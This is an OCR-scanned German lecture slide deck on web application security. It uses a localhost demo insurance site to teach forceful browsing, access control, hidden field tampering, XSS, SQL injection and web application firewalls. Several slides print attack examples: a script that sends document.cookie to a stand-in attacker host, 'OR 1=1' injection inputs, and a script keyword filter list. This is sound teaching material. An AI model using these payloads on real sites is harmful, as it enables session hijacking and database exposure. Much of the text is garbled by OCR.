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Internet

Der Server wertet die Anfrage
aus und sendet eine Antwort an

den Client (Response).
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Hyper-Text-Markup-Language

-gﬂuelle von: hitp://localhost/securita/ - Mozilla Firefox

Datei  Bearbeiten  Ansicht

<HTHL > :J
<HEAD >

<META http-equivr="Content-Type” content="text/html; charset=I30-5859-1">

w <TITLErSecurita Versicherungen</TITLE>

<LIHE REL="3TYLESHEET" HREF="/szecurita/css/styles.css" TYPE="text/css": -
= <script sreo="/securita/js/scripts.js" type="text/javascript"r</script>

*| </MEAD>

<BODY>

ol <table horder="0" cellspacing="0" cellpadding="0">

<tr>

% <td align="left” valign="top">

<table horder="0" cellspacing="0" cellpadding="0":>

mel <t

<TD>

B3 IMG SRC="/securita/ images/top left bhorder.gif" alt="' ¥
</ TD>

</trx

<trx

- <td class="rand-links" >
<A HREF="/zecurita/pages/index.jsp"><IMG style="border-style:none;" SRC="/ze
= </ td>
</trx
<tr>
<td eclass="rand-links">

Cllent <IMB SRC="/zecurita/images/empty.gif™ ALT=""> -
| 3

!

4]
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e Auszeichnungssprache fur Internetseiten

e Sprachauszeichnungen (Tags) fuhren zu einem Kontextwechsel

e Verlinkungen fuhren zu einem Netzwerk von Internetressourcen

e Verlinkungen kdnnen auf beliebige (andere) Server verweisen

e IMG-Tag mit SRC-Attribut erzeugt automatisch einen Request, in dem das Bild
geladen wird

e A-Tag mit HREF-Attribut erzeugt einen Request, wenn der Anwender den Link
anklickt

e Auch Formulare arbeiten (beim Ausldsen) mit Links. Durch Java-Script-Befehle
kann ein Formular auch automatisch ausgelost werden.

e Der Anwender wird sich den Quelltext einer Seite in der Regel nicht ansehen
und Folgerequests (z.B. durch IMG-Tags) nicht bewul3t wahrnehmen.
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Hyper-Text-Transfer-Protocol

HTTP/1.1 200 OK

‘ Server: Apache-Coyote/1.1
Mﬂﬂw Set-Cookie: JSESSIONID=04FO0F5C780AD28; Path=/securita

]HMM Content-Type: text/html;charset=1SO-8859-1

X-Transfer-Encoding: chunked

MMM Date: Sat, 07 Jan 2006 14:26:09 GMT
Content-length: 6322

I

Server

<HTML> ...

GET http://localhost/securita/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; WinNT4.0;...
Accept: text/xml,application/xml,text/htmil;...
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Charset: ISO-8859-1,utf-8;9=0.7,%;,9=0.7
Client Keep-Alive: 300

Connection: keep-alive

!
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e Klartextprotokoll, d.h. der Client sendet und empfangt Textnachrichten

e HTTPS verhindert das Abhoren/Mitlesen einer Nachricht auf dem Weg vom
Client zum Server (oder zuruck), betrifft das HT TP-Protokoll dartber hinaus
aber nicht.

e Alle Parameter (aus Formularen und in der URL) werden in Textform
ubermittelt.

e GET-Anfragen Ubertragen Parameter in der URL (schlecht)

e POST-Anfragen Ubertragen Parameter im Rumpf der Anfrage (besser)
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impressum.jspe. ‘

baestebucﬁ.—jsb

) (login.jsp)
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Forceful Browsing

/3 Demonstrationssystem Web-Security - Microsoft Internet Explorer [_ (O] x|

J Datei  Bearbeiten  Ansicht  Favorten  Extras 7 |

- - m——e fa) a
3 "“F'Z-JI Zuriick TS Abbrechen  Aktualisieren  Startseite Suchen
| Datei Bearbelten Ansicht Favoren  Etras 2 JAdr9§se I@ hitp: /Alocalhost: 8080/ securita/indes. html j {7 wechseln au |J Lirks >

‘4-: = @3 (3

5 A|
Zuriick e Abbrechen  Aktualisieren  Startseite .

- “Welchen MNamen suchen Sie: |

J Adresze I@ http: //localhost: 8080/ securitaimages/blue193/02 ipg

N [=] B3

Anfrage senden

" content="text/html; tnzr‘set:lsn—ﬂssv—f'j

s/styles.css” TYPE="text/css™>
js" type="text/javascript™></script>

e J {double quotes) " " " w022

hi‘\ (single quotes) ' ' w0027
- it (amnpersand) & & & w026

(lesser than) < < < Wi03c

</T0>
{oreater thanl = = = WlN3e <rer>
- prp <tr>
) Mozilla Firefox <td class="rand-links™ >
= <A HREF="/securita/pages/index.jsp"><IHE style="border-styleznone;" SRC
|'§'| Feitig Datei  Bearbeiten  Ansicht  Gehe Lesezeichen Estraz  Hilfe </td>

r @ % ? - d | ;l‘/'
- <::| ~ L‘/ - _) @ I‘—‘ http: /localhost/secunita/pagesdkaufent bak il [>T |2 ——1

@ Erste Schritte | | calculate.do

<%0 taglib uri="http://struts.apache.org/tags-tiles™ prefix="tiles" %>

<tiles:insert definition="kaufenl.page":>
— <tiles:put name="title” walue="Produkte - Berechnen"/:»
Client </tiles:insert>
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e Jede Ressource, deren Pfad (URL) der Web-Server auflosen kann, wird an
den Aufrufer geschickt.

m z.B. http://localhost:8080/securita/images/blue199/02.jpg

e Zu Anfragen, die der Web-Server nicht bedienen kann, erzeugt er eine
Meldung (z.B. 404 Not Found).

e Verzeichnisse fur Webseiten sollen nur Ressourcen enthalten, die fur den
Betrieb erforderlich sind.

e Sicherheitskopien, Test- und Konfigurationsfiles, ... sollen nicht auf das
Produktivsystem kopiert werden. (Diese werden u.U. anderes verarbeitet als
die Originale. *.bak wird z.B. nicht durch das JSP-Servlet compiliert.)

e Das Verzeichnis WEB-INF wird durch den Web-Server geschutzt.
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Broken Access Control

] |
)

AW
Client
ddon/schieben.jsp  kunden/index.jsp kunden/uebersicht.jsp
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e FUr den geschutzen Bereich kunden/* ist eine Anmeldung (login) erforderlich.

e Die Anmeldung erzwingt einen Protokollwechsel zu HTTPS.

e Ressourcen (URLs), die von geschutzten Seiten verlinkt werden, sollten i.d.R.
ebenfalls geschuitzt sein.

e Teile der Seiten, die aus dem geschutzten Bereich verlinkt sind, kdnnen
(wenn die URL bekannt ist) auch ohne Anmeldung aufgerufen werden.

e Der Weg eines Anwenders/Aufrufers durch eine Anwendung, ist nicht
vorhersehbar und (ohne Programmierung) nicht steuerbar.
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1) Directory Listing For /pages - Mozilla Fircfox i

Datei Bearbeiten  pArsicht Gehe Lesszeichen  Extras  Hife if—;_)Apache Tomcat/5.5.7 - Error report - Mozilla Firefox
<:| - [_"> . l% O @ [T rtpesicshoatrssouitarpagess 5 © s il Datei  Beabeiten  Ansicht  Gehe Leseseichen  Estraz  Hilfe

&) Erste Sehite || caloulatedo <:| - L:> - I%I O @ ||_| http:/flocalhostsecuriad actions/display.do 2
Directory Listing For fpages/ - Up To /

@ Erste Schitte | | calculate.do

]
Filename Datei Beabeiten Ansicht  fishe Lessasichen Estras  Hife HTTP Status 500 -

I
datenschutz. i3p <:| - LV\J - @ O @ I‘—‘ hitp:/flocalhost/ securita’ pages/old/ shoop.jsp

encode. jsp

SeE Exception report
@ Erste Schiits. || caloulate.do o P P

peoremennzy | REQUest Information

The server encountered an internal error () that prevented it from ful

hinveise/ JSP Request Method: GET
impressum. jsp Request URT: /securita’pages/old/snoop. jsp javax.servlet.ServletException
lFemg— Request Protocol: HTTP/1.1 org.apache.struts.action. RequestProcessor. proces
————— Servlet path: /pages/old/snoop. jsp org.apache.struts.action. RequestProcessor. proce:
Real pﬂth: C:\java\ec]ipse\workspace\l\’laster org.apache.struts.action. RegquestProcessor. proce:s
Path info: null org.apache.struts.action. AetionServlet . process (i
Query string: null org.apache.struts.action. ietionServlet ., doGet (Aot
Content leng‘th: -1 Jawvax.servlet.http.HotplServlet . service (Hooplerv.
- Content type: null Javax.servlet.http.Httplervlet.service (Httplerv.
Server name: localhost
—-
— = | Fertig
java.lang.NullPointerException

4]

Client
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e [n der Konfiguration wird festgelegt, welche Anfragen (URLs) der Web-Server
zur Bearbeitung an den Application-Server weiterleitet.

e Ein JSP-Servlet erzeugt zu allen *.jsp-Seiten ein Servlet (=Java-Programm).
e Das Default-Servlet erzeugt zu Pfaden, die auf / enden, ein Verzeichnislisting.

e Das Invoker-Servlet ruft Servlets statt Uber einen logische Namen Uber den
qualifizierten Klassennamen des Java-Programmes direkt auf.

e Testprogramme, Testzugange, Testseiten, ... nicht auf das Produktivsystem
kopieren.

e Fehlermeldungen des Servers sollen nicht ungefiltert an den Client geschickt
werden. Stack-Traces verraten einem Angreifer viel Uber das System und
konnen u.U. Eingaben fur das Invoker-Servlet sein.
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Hidden Field Manipulation, Parameter Tampering, Web-Trojaner

) Produkte - Angebot - Mozilla Firefox O[]
Datei  Bearbeiten  Ansicht  Gehe Lesezeichen Extias  Hife
G580 QT H0wC |
& Ente Schite | caleulate.do k:) Quelle von: http://localhost/securita/actions/calculate.do?hidden-mac=3f598051bef7. .. [Hi[=] E3
ri' T Home T Datenschutz | Impressum | Datei  Bearbeten  Ansicht
Secu 6 . <pr<font class="titel":>Unzer Rundum-Jorglos-Paket</font></p> ;I
Rendum sicher, . . ) )
<p>Wir bieten Ihnen Sicherheit f&uuml:r nur <b>
Bradiis 60 EUR</h> im Monat.</p>
Kundenportal Unger Rundum:Sorglos-Fuket Sie meowml;:chten dieses Angebot kaufen?</p>
Gastebuch Wir bieten Ihnen Sicherheit fur nur 60 EUR <pxDann ben&ouml;tigen wir fe&uuml:r den Abschluss noch einige weitere
tiMonet <form name="calculateFormBean” method="post" action="/zecurita/action:
Sie mochten dieses Angebot kaufen? <input type="hidden" name="tarif" wvalue="Rundum-Sorglos":>
Dann benctigen wir fir den Abschiuss noch einige]  <input type="hidden"™ name="sex" wvalue="m":>
Jhnen <input type="hidden" name="geh" value="1375-10-10">
Alter [e7] <input type="hidden" name="rate” wvalue="g0.0">
Geschlecht & Mannlich <table:>
@ Weiblich Ztr> J
:’mm* <tdrilter:</tds
A::;W — <td align="left" width="100%"><input type="text" name="age" size="2" 1
i —r—————— </tr>
Bk <tr>
<tdrGeschlecht:</td>
<td><input type="radio” name="sex" value="m" checked="checked" disahl¢
</trr
A Y -
pr— 4] | v

!

POST http://localhost/securita/actions/abschluss.do HTTP/1.1

Client tarif=Rundum-Sorglos&sex=m&geb=1978-10-10&rate=60.0&...

. . FACHHOCHSCHULE TRIER
Application-Server '1ﬁ'

e Hidden Values konnen genutzt werden, um das Speichern von Sitzungsdaten
auf dem Server zu umgehen. Hidden Values werden durch den Client als
einfache Parameter Ubertragen und sind nicht geschutzt.

e Eingaben in HTML beschranken
= Auswahllisten/-felder, maxlength-Attribut verwenden
= Nur solche Daten an den Client schicken, die dort auch bendtigt werden
= Wichtige Daten in einer Session (auf dem Server) ablegen

e Werte, die vom Client gesendet werden, mussen (trotzdem) immer(!)
uberpruft/validiert werden.

e Wenn ein einzelner Aufruf (mit Parametern) einen Verkauf etc. auslost, kann
dieser Aufruf, eingebunden in beliebige (fremde) Seiten, milRbraucht werden,
um von dort besagte Transaktion zu triggern, ohne dass der Aufrufer sich
dessen bewult wird (Web-Trojaner).
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Application-Server
Cross-Site-Scripting XSS

<script>(new Image).src=
e "http://www.spy.de/actions/upps.do?
i c="+escape(document.cookie);</script>

. <a href="/securita/actions/calculate.do?

il
£y MMM - gebString=<script>
—r === alert(&quot;Hallo&quot;);

e <Iscript>">hier klicken</a>

D Angreifer
www.securita.de | \

(vertrauenswirdig)

iy
- JSESSIONID=7B2E39851841B339629E91643DAC720E
www.spy.de
~._Client (nicht vertrauenswirdig)
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Application-Server

e Jede Seite, die der Client von www.securita.de 1adt, wird im Kontext dieser
Domane ausgefuhrt. Scripte konnen Cookies dieses Kontextes lesen.

e Gelingt es einem Angreifer bosartige Inhalte (z.B. Java-Script) in der Seite
einer fremden Domane einzubinden, fuhrt der Browser des Opfer, beim Laden
der Seite von dieser fur ihn vertrauenswurdigen Domane, Code des
Angreifers im Kontext dieser Domane aus.

e Niemals Daten, die vom Client gesendet werden, in der Ausgabeseite
ungefiltert ausgeben.

e Ausgaben in HTML-Seiten immer maskieren (z.B. < zu &lt;)

e Vorsicht bei HTML-e-Mails oder Verweisen in Gastebuchern, die zum
Anklicken aufrufen

e Auch wenn die in der Statuszeile angezeigte URL zu einem Link keinen
sicheren Schutz bietet, sollte sie vor dem Anklicken Uberpruft werden.
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Injection Flaw

POST https://localhost/securita/actions/register.do HTTP/1.1
vorname=xxx&name=xxx&versnr=18&j_username=Hacker&j_password=123456

Dalei Beabeiten Arsichi Gehe Lesezeichen Ewias  Hife

a0 - & L ) [ nesiecahostisecutalastons esister o &k 6 e Gl

&) Erste Schite || caloulate.do
POk o iz \ UiSten Sie schon, |
— - Registrierung fiir unser dass sich Ober 75%

undenportai Kundenportal i aller Unfalle in Freizeit
Gastebuch und Haushalt
Fir die Registrierung benotigen ereignen?

Sie neben Namen und Sie michten
Benutzernamen lhre Versicherungsnummer. Diese finden Sie vorsorgen?

auf Ihrem Yersicherungsschein oder in jedem anderen
Schriftwechsel, den wir mit nen fllren

Worname® poox

Name® pooc Rein statistisch
g ereignet sich in

Wersicherungsnummer™: |1 Deutschland fast jede |

Als Benutzername kénnen Sie jeden beliebigen Namen Minute ein Autounfall |
wahlen, der aus mindestens sechs Zeichen besteft. Das [pitlGetzn=nschiaden

Passwiort muss ebenfalls sechs Zeichen lang sein und darf Sie méchten

nicht identisch mit dem Benuzernamen sein vorsorgen?

Benuzemame™ Hacker B wir helfen Ihnen =
Pagswort* —

Registiersn

+ Bitte iiberprifen Sie die Versicherungsnummer. & N I
.\ Fettia. [ locathost = D at en b a n k

Client select * from vertrag where versnr=1
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Injection Flaw

) Kundenportal - Registrierung - Mozilla Firefox

Daiei Beabsiten Ansicht Gehe Lesszeichen Extiss Hife

Q- & 3 [ rtos:ocabost/secuntarpages eisersp &x] O s [GL

&) EsteSchite || calculate do

Produkte L . ‘uilten Sie schon, A
Kund i Registrierung fiir unser dass sich tiber 75%
undenport Kundenportal \] allr Unfalls i Freizsi
Gastebuch und Haushalt
Fir die Registrierung benttigen EUECTR
Sie neben Namen und S moChier]

Benutzernamen lhre Versicherungsnummer. Diese finden Sie vorsargen?
auf lhrem Versicherungsschein oder in jedem anderen

Schriftwechsel, den wir mit Ihnen fihren & wir hetfen Innen.
Vorname* oot OR 1=
Narme” poo! OR'1'="1 Rein statistisch

. N ereignet sich in
Versicherungsnummer’ 1 0R1=1 Deutschland fast jede

ein Autounfall

) Kundenpor

Datsi_e: & Gehe Lesszeichen Egvas Hille rsonenschaden.
R N ) R —— 52 0 &[G, bisisicti
@ Erse et || caculsieds gen?
Secur'lﬁ Home T Datenseruz | mpressum | g [ = e
Ruandum sicher,
Produkte S | Wuliten Sie schon,
undenporel Unser Kundenportal \ o o et
Kundenportall ereignen? =
[ e e e il

Sie konnen ein Spielchen wagen

i hefen nen

Sie konnen sich abmelden

e statistsch
Sie konnen hren Zugang zu inserem Kundenportal endgiitig | sreignet schin

men Deutschiand factjod
irute sin Autountal

e | Datenbank

[orsorgen?

o esbnt |

—=n select * from vertrag where versnr=1 OR 1=1
Client

select 1 from vn t1, person t2 where t1.persid=t2.persid and t1.id
=1 and t2.vorname="xxx' OR '1'="1" and t2.name="xxx' OR '1'="1"




Datenbank Wp zopmsemnerme

e Eingabedaten bilden gemeinsam mit konstanten Anteilen eine
Datenbankanfrage

e Der Angreifer wahlt die Eingabe so, dass korrekte aber entfremdete
SQL-Statements entstehen. So wird die Bedingung where versnr=1 OR 1=1
immer wahr sein, da der zweite Ausdruck allgemeingultig ist.

e Eingabedaten einschranken (insbesondere Typ und Lange)

e Meta-Daten berucksichtigen (insbesondere " und ')

e Prepared statements verwenden (typsicher)

e Keine Fehlermeldungen der Datenbank an den Client senden

Web-Application Firewall Yp oonecnuemen

e Ausgehend von der Startseite ergibt sich ein Netz von URLs, da in jeder Seite
alle URLs, die ein Anwender anwahlen kann, stehen (vgl. Demonstration).

e Ein Teil der Felder in einem HTML-Formular kann Angaben tber Lange und
(erlaubte) Werte enthalten.

e Hidden-Values werden im Request wieder Ubertragen und durfen dort nicht
verandert sein (Einschrankung: JavaScript).

e Scripte beginnen in der Regel mit <script> oder javascript:
e Fehlerseiten sind am Status des Response zu erkennen (z.B. 404, 500, ...)




Web-Application Firewall

URL

Proxy
Gateway
Provider
Caching-Proxy

!

Client
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L

Web-Shield

Parsen der Ausgabe, Erstellen einer white-list 3
allow /securita/css/styles.css |
allow /securitaljs/scripts.js l
allow /securita/images/top_left_border.gif l
allow /securita/pages/index.jsp l
allow /securita/images/Securita.gif 3
allow /securita/images/head_nav_spacer2.gif !
allow /securita/pages/datenschutz.jsp !

allow /securita/pages/impressum.jsp

allow /securita/images/Rundum_sicher.gif
allow /securita/actions/invalidate.do

allow /securita/pages/kaufen1.jsp

allow /securita/pages/kundenportal/index.jsp
allow /securita/actions/gaestebuch.do

allow /securita/images/blue199/02.jpg

Web-Application Firewall

Input

Proxy
Gateway
Provider
Caching-Proxy

Client
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Eingabevalidierung

<input type="hidden" value="X">
<input... readonly="1">

<input... maxlenght="30" >
<input type="radio" value="X">
<input type="radio" value="Y">
<select name="auswah|">

<option>B</option>
</select>
javascript:, <script>, onload, ...

! MAC (Message Authentication Code)
' Isecurita/actions/abschluss.do

! tarif+sex+geb+rate

I hidden-mac=fa74138cc61bd5b4df6d51bbce3a97fcf5136469

<option>A</option> |
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Output

3 '-_- —:'n- e r I T I: 3

Proxy : u: wn: — :“':'-"‘: :

Gateway AL | = :

Provider = ‘ i |

Caching-Proxy ! [ ‘ |

' Web-Shield }

: 200 OK e e R i_._%_‘.;‘;i 3

! 302 Moved Temporarily = |

3 401 Unauthorized = l

! 404 Not Found | == |

- W - ;
Client
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